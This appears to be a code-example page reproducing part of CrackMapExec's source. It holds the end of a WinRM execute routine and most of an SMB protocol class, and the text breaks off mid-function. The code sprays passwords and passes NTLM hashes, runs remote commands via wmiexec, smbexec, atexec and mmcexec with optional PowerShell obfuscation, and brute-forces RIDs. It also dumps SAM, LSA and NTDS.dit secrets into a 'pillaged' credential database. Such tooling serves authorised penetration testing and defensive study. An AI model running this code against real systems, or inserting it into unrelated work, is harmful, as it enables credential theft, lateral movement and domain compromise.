                self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
                                                        username,
                                                        self.hash,
                                                        e))

            return False

    def execute(self, payload=None, get_output=False):
        try:
            r = self.conn.execute_cmd(self.args.execute)
        except:
            self.logger.debug('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !')
            r = self.conn.execute_ps(self.args.execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])

    def ps_execute(self, payload=None, get_output=False):
        r = self.conn.execute_ps(self.args.ps_execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])
Exemplo n.º 26
0
class smb(connection):

    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None
        self.os_arch = 0
        self.hash = None
        self.lmhash = ''
        self.nthash = ''
        self.remote_ops = None
        self.bootkey = None
        self.output_filename = None
        self.smbv1 = None
        self.signing = False
        self.smb_share_name = smb_share_name

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser])
        smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
        smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
        dgroup = smb_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
        smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
        smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
        smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
        smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
        smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
        
        cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
        cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
        cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
        #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
        #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')

        egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
        egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
        egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
        egroup.add_argument('--disks', action='store_true', help='enumerate disks')
        egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
        egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.')
        egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
        egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)')
        egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
        egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)')

        sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
        sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
        sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)')
        sgroup.add_argument("--content", action='store_true', help='enable file content searching')
        sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering')
        segroup = sgroup.add_mutually_exclusive_group()
        segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content')
        segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
        sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)')
        sgroup.add_argument("--only-files", action='store_true', help='only spider files')

        tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
        tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt')
        tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt')

        cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
        cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
        psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
        psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')

        return parser

    def proto_logger(self):
        self.logger = CMEAdapter(extra={
                                        'protocol': 'SMB',
                                        'host': self.host,
                                        'port': self.args.port,
                                        'hostname': self.hostname
                                        })

    def get_os_arch(self):
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            if self.args.kerberos:
                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
            except (DCERPCException, e):
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64

        except Exception as e:
            logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))

        return 0

    def enum_host_info(self):
        self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]

        try:
            self.conn.login('' , '')
        except:
            #if "STATUS_ACCESS_DENIED" in e:
            pass

        self.domain    = self.conn.getServerDNSDomainName()
        self.hostname  = self.conn.getServerName()
        self.server_os = self.conn.getServerOS()
        self.signing   = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
        self.os_arch   = self.get_os_arch()

        self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))

        if not self.domain:
            self.domain = self.hostname

        self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)

        try:
            '''
                DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                (go home Windows, you're drunk)
            '''
            self.conn.logoff()
        except:
            pass

        if self.args.domain:
            self.domain = self.args.domain
        
        if self.args.local_auth:
            self.domain = self.hostname

        #Re-connect since we logged off
        self.create_conn_obj()

    def print_host_info(self):
        self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
                                                                                      ' x{}'.format(self.os_arch) if self.os_arch else '',
                                                                                      self.hostname,
                                                                                      self.domain,
                                                                                      self.signing,
                                                                                      self.smbv1))
    def kerberos_login(self, aesKey, kdcHost):
        # dirty code to check if user is admin but pywerview does not support kerberos auth ...
        error = ''
        try:
            self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost)
            # self.check_if_admin() # currently pywerview does not support kerberos auth
        except SessionError as e:
            error = e
        try:
            self.conn.connectTree("C$")
            self.admin_privs = True
        except SessionError as e:
            pass
        if not error:
            out = u'{}\\{} {}'.format(self.domain,
                                    self.conn.getCredentials()[0],
                                    highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
            self.logger.success(out)
            return True
        else:
            self.logger.error(u'{} {} {}'.format(self.domain, 
                                                 error, 
                                                 '({})'.format(desc) if self.args.verbose else ''))
            return False

        # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
        if self.signing:
            try:
                self.conn.logoff()
            except:
                pass
            self.create_conn_obj()

    def plaintext_login(self, domain, username, password):
        try:
            self.password = password
            self.username = username
            self.domain = domain
            self.conn.login(username, password, domain)

            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.add_admin_user('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain,
                                         username,
                                         password,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()

        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        password,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')          
            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True  

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            self.hash = ntlm_hash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash

            self.username = username
            self.domain = domain
            self.conn.login(username, '', domain, lmhash, nthash)

            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain,
                                         username,
                                         ntlm_hash,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
            if self.signing:
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')

            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True 

    def create_smbv1_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT)
            self.smbv1 = True
        except socket.error as e:
            if str(e).find('Connection reset by peer') != -1:
                logging.debug('SMBv1 might be disabled on {}'.format(self.host))
            return False
        except Exception as e:
            logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_smbv3_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port)
            self.smbv1 = False
        except socket.error:
            return False
        except Exception as e:
            logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_conn_obj(self):
        if self.create_smbv1_conn():
            return True
        elif self.create_smbv3_conn():
            return True

        return False

    def check_if_admin(self):
        lmhash = ''
        nthash = ''

        if self.hash:
            if self.hash.find(':') != -1:
                lmhash, nthash = self.hash.split(':')
            else:
                nthash = self.hash
        self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)

    def gen_relay_list(self):
        if self.server_os.lower().find('windows') != -1 and self.signing is False:
            with sem:
                with open(self.args.gen_relay_list, 'a+') as relay_list:
                    if self.host not in relay_list.read():
                        relay_list.write(self.host + '\n')

    @requires_admin
    @requires_smb_server
    def execute(self, payload=None, get_output=False, methods=None):

        if self.args.exec_method: methods = [self.args.exec_method]
        if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec']

        if not payload and self.args.execute:
            payload = self.args.execute
            if not self.args.no_output: get_output = True

        for method in methods:

            if method == 'wmiexec':
                try:
                    exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via wmiexec')
                    break
                except:
                    logging.debug('Error executing command via wmiexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'mmcexec':
                try:
                    exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash)
                    logging.debug('Executed command via mmcexec')
                    break
                except:
                    logging.debug('Error executing command via mmcexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'atexec':
                try:
                    exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share)
                    logging.debug('Executed command via atexec')
                    break
                except:
                    logging.debug('Error executing command via atexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'smbexec':
                try:
                    exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via smbexec')
                    break
                except:
                    logging.debug('Error executing command via smbexec, traceback:')
                    logging.debug(format_exc())
                    continue

        if hasattr(self, 'server'): self.server.track_host(self.host)

        output = u'{}'.format(exec_method.execute(payload, get_output).strip())

        if self.args.execute or self.args.ps_execute:
            self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
            buf = StringIO(output).readlines()
            for line in buf:
                self.logger.highlight(line.strip())

        return output

    @requires_admin
    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False):
        if not payload and self.args.ps_execute:
            payload = self.args.ps_execute
            if not self.args.no_output: get_output = True

        if os.path.isfile(payload):
            with open(payload) as commands:
                for c in commands:
                    self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        else:
            self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        return ''

    def shares(self):
        temp_dir = ntpath.normpath("\\" + gen_random_string())
        #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0]
        permissions = []

        try:
            for share in self.conn.listShares():
                share_name = share['shi1_netname'][:-1]
                share_remark = share['shi1_remark'][:-1]
                share_info = {'name': share_name, 'remark': share_remark, 'access': []}
                read = False
                write = False

                try:
                    self.conn.listPath(share_name, '*')
                    read = True
                    share_info['access'].append('READ')
                except SessionError:
                    pass

                try:
                    self.conn.createDirectory(share_name, temp_dir)
                    self.conn.deleteDirectory(share_name, temp_dir)
                    write = True
                    share_info['access'].append('WRITE')
                except SessionError:
                    pass

                permissions.append(share_info)
                #self.db.add_share(hostid, share_name, share_remark, read, write)

            self.logger.success('Enumerated shares')
            self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
            self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
            for share in permissions:
                name   = share['name']
                remark = share['remark']
                perms  = share['access']

                self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))

        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating shares: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return permissions

    def get_dc_ips(self):
        dc_ips = []

        for dc in self.db.get_domain_controllers(domain=self.domain):
            dc_ips.append(dc[1])

        if not dc_ips:
            dc_ips.append(self.host)

        return dc_ips

    def sessions(self):
        sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
        self.logger.success('Enumerated sessions')
        for session in sessions:
            if session.sesi10_cname.find(self.local_ip) == -1:
                self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))

        return sessions

    def disks(self):
        disks = []
        try:
            disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            self.logger.success('Enumerated disks')
            for disk in disks:
                self.logger.highlight(disk.disk)
        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating disks: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return disks

    def local_groups(self):
        groups = []
        #To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
        for dc_ip in self.get_dc_ips():
            try:
                groups = get_netlocalgroup(self.host, dc_ip, '', self.username,
                                           self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups,
                                           list_groups=True if not self.args.local_groups else False, recurse=False)

                if self.args.local_groups:
                    self.logger.success('Enumerated members of local group')
                else:
                    self.logger.success('Enumerated local groups')

                for group in groups:
                    if group.name:
                        if not self.args.local_groups:
                            self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount))
                            self.db.add_group(self.hostname, group.name)
                        else:
                            domain, name = group.name.split('/')
                            self.logger.highlight('{}\\{}'.format(domain.upper(), name))
                            try:
                                group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0]
                            except IndexError:
                                group_id = self.db.add_group(domain, self.args.local_groups)

                            # yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
                            # (╯°□°)╯︵ ┻━┻

                            if not group.isgroup:
                                self.db.add_user(domain, name, group_id)
                            elif group.isgroup:
                                self.db.add_group(domain, name)
                break
            except Exception as e:
                self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))

        return groups

    def domainfromdsn(self, dsn):
        dsnparts = dsn.split(',')
        domain = ""
        for part in dsnparts:
            k,v = part.split("=")
            if k == "DC":
                if domain=="":
                    domain = v
                else:
                    domain = domain+"."+v
        return domain

    def groups(self):
        groups = []
        for dc_ip in self.get_dc_ips():
            if self.args.groups:
                try:
                    groups = get_netgroupmember(dc_ip, '', self.username, password=self.password,
                                                lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(),
                                                queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False,
                                                full_data=False, custom_filter=str())

                    self.logger.success('Enumerated members of domain group')
                    for group in groups:
                        self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername))

                        try:
                            group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0]
                        except IndexError:
                            group_id = self.db.add_group(group.groupdomain, self.args.groups)

                        if not group.isgroup:
                            self.db.add_user(group.memberdomain, group.membername, group_id)
                        elif group.isgroup:
                            self.db.add_group(group.groupdomain, group.groupname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
            else:
                try:
                    groups = get_netgroup(dc_ip, '', self.username, password=self.password,
                                          lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(),
                                          queried_username=str(), queried_domain=str(), ads_path=str(),
                                          admin_count=False, full_data=True, custom_filter=str())

                    self.logger.success('Enumerated domain group(s)')
                    for group in groups:
                        self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0))

                        if bool(group.isgroup) is True:
                            # Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
                            domain = self.domainfromdsn(group.distinguishedname)
                            self.db.add_group(domain, group.samaccountname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))

        return groups

    def users(self):
        users = []
        for dc_ip in self.get_dc_ips():
            try:
                users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash,
                                    nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(),
                                    admin_count=False, spn=False, unconstrained=False, allow_delegation=False,
                                    custom_filter=str())

                self.logger.success('Enumerated domain user(s)')
                for user in users:
                    domain = self.domainfromdsn(user.distinguishedname)
                    self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime','')))
                    self.db.add_user(domain, user.samaccountname)

                break
            except Exception as e:
                logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e))

        return users

    def loggedon_users(self):
        loggedon = []
        try:
            loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash)
            self.logger.success('Enumerated loggedon users')
            for user in loggedon:
                self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username,
                                                           'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else ''))
        except Exception as e:
            self.logger.error('Error enumerating logged on users: {}'.format(e))

        return loggedon

    def pass_pol(self):
        return PassPolDump(self).dump()

    @requires_admin
    def wmi(self, wmi_query=None, namespace=None):
        records = []
        if not namespace:
            namespace = self.args.wmi_namespace

        try:
            rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            rpc._create_wmi_connection(namespace=namespace)

            if wmi_query:
                query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
            else:
                query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
        except Exception as e:
            self.logger.error('Error creating WMI connection: {}'.format(e))
            return records

        while True:
            try:
                wmi_results = query.Next(0xffffffff, 1)[0]
                record = wmi_results.getProperties()
                records.append(record)
                for k,v in record.items():
                    self.logger.highlight('{} => {}'.format(k,v['value']))
                self.logger.highlight('')
            except Exception as e:
                if str(e).find('S_FALSE') < 0:
                    raise e
                else:
                    break

        return records

    def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
        spider = SMBSpider(self.conn, self.logger)

        self.logger.info('Started spidering')
        start_time = time()
        if not share:
            spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
                          self.args.regex, self.args.exclude_dirs, self.args.depth,
                          self.args.content, self.args.only_files)
        else:
            spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles)

        self.logger.info("Done spidering (Completed in {})".format(time() - start_time))

        return spider.results

    def rid_brute(self, maxRid=None):
        entries = []
        if not maxRid:
            maxRid = int(self.args.rid_brute)

        KNOWN_PROTOCOLS = {
            135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},
            139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
            445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
            }

        try:
            stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host)
            logging.debug('StringBinding {}'.format(stringbinding))
            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(self.args.port)

            if KNOWN_PROTOCOLS[self.args.port]['set_host']:
                rpctransport.setRemoteHost(self.host)

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)

            dce = rpctransport.get_dce_rpc()
            dce.connect()
        except Exception as e:
            self.logger.error('Error creating DCERPC connection: {}'.format(e))
            return entries

        # Want encryption? Uncomment next line
        # But make SIMULTANEOUS variable <= 100
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)

        # Want fragmentation? Uncomment next line
        #dce.set_max_fragment_size(32)

        self.logger.success('Brute forcing RIDs')
        dce.bind(lsat.MSRPC_UUID_LSAT)
        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)

        domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()

        soFar = 0
        SIMULTANEOUS = 1000
        for j in range(maxRid//SIMULTANEOUS+1):
            if (maxRid - soFar) // SIMULTANEOUS == 0:
                sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
            else:
                sidsToCheck = SIMULTANEOUS

            if sidsToCheck == 0:
                break

            sids = list()
            for i in range(soFar, soFar+sidsToCheck):
                sids.append(domainSid + '-%d' % i)
            try:
                lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
            except DCERPCException as e:
                if str(e).find('STATUS_NONE_MAPPED') >= 0:
                    soFar += SIMULTANEOUS
                    continue
                elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
                    resp = e.get_packet()
                else:
                    raise

            for n, item in enumerate(resp['TranslatedNames']['Names']):
                if item['Use'] != SID_NAME_USE.SidTypeUnknown:
                    rid    = soFar + n
                    domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
                    user   = item['Name']
                    sid_type = SID_NAME_USE.enumItems(item['Use']).name
                    self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
                    entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})

            soFar += SIMULTANEOUS

        dce.disconnect()

        return entries

    @requires_admin
    def put_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
        with open(self.args.put_file[0], 'rb') as file:
            try:
                self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
                self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1]))
            except Exception as e:
                self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e))

    @requires_admin
    def get_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
        with open(self.args.get_file[1], 'wb+') as file:
            try:
                self.conn.getFile(self.args.share, self.args.get_file[0], file.write)
                self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
            except Exception as e:
                self.logger.error('Error reading file {}: {}'.format(self.args.share, e))

    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return

        try:
            self.remote_ops  = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.error('RemoteOperations failed: {}'.format(e))

    @requires_admin
    def sam(self):
        self.enable_remoteops()

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_sam_hash(sam_hash, host_id):
            add_sam_hash.sam_hashes += 1
            self.logger.highlight(sam_hash)
            username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
            self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
        add_sam_hash.sam_hashes = 0

        if self.remote_ops and self.bootkey:
            #try:
            SAMFileName = self.remote_ops.saveSAM()
            SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))

            self.logger.success('Dumping SAM hashes')
            SAM.dump()
            SAM.export(self.output_filename)

            self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))

            #except Exception as e:
                #self.logger.error('SAM hashes extraction failed: {}'.format(e))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            SAM.finish()

    @requires_admin
    def lsa(self):
        self.enable_remoteops()

        def add_lsa_secret(secret):
            add_lsa_secret.secrets += 1
            self.logger.highlight(secret)
        add_lsa_secret.secrets = 0

        if self.remote_ops and self.bootkey:

            SECURITYFileName = self.remote_ops.saveSECURITY()

            LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True,
                             perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))

            self.logger.success('Dumping LSA secrets')
            LSA.dumpCachedHashes()
            LSA.exportCached(self.output_filename)
            LSA.dumpSecrets()
            LSA.exportSecrets(self.output_filename)

            self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets),
                                                                            self.output_filename + '.secrets', self.output_filename + '.cached'))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            LSA.finish()

    @requires_admin
    def ntds(self):
        self.enable_remoteops()
        use_vss_method = False
        NTDSFileName   = None

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_ntds_hash(ntds_hash, host_id):
            add_ntds_hash.ntds_hashes += 1
            self.logger.highlight(ntds_hash)
            if ntds_hash.find('$') == -1:
                if ntds_hash.find('\\') != -1:
                    domain, hash = ntds_hash.split('\\')
                else:
                    domain = self.domain
                    hash = ntds_hash

                try:
                    username,_,lmhash,nthash,_,_,_ = hash.split(':')
                    parsed_hash = ':'.join((lmhash, nthash))
                    if validate_ntlm(parsed_hash):
                        self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
                        add_ntds_hash.added_to_db += 1
                        return
                    raise
                except:
                    logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
            else:
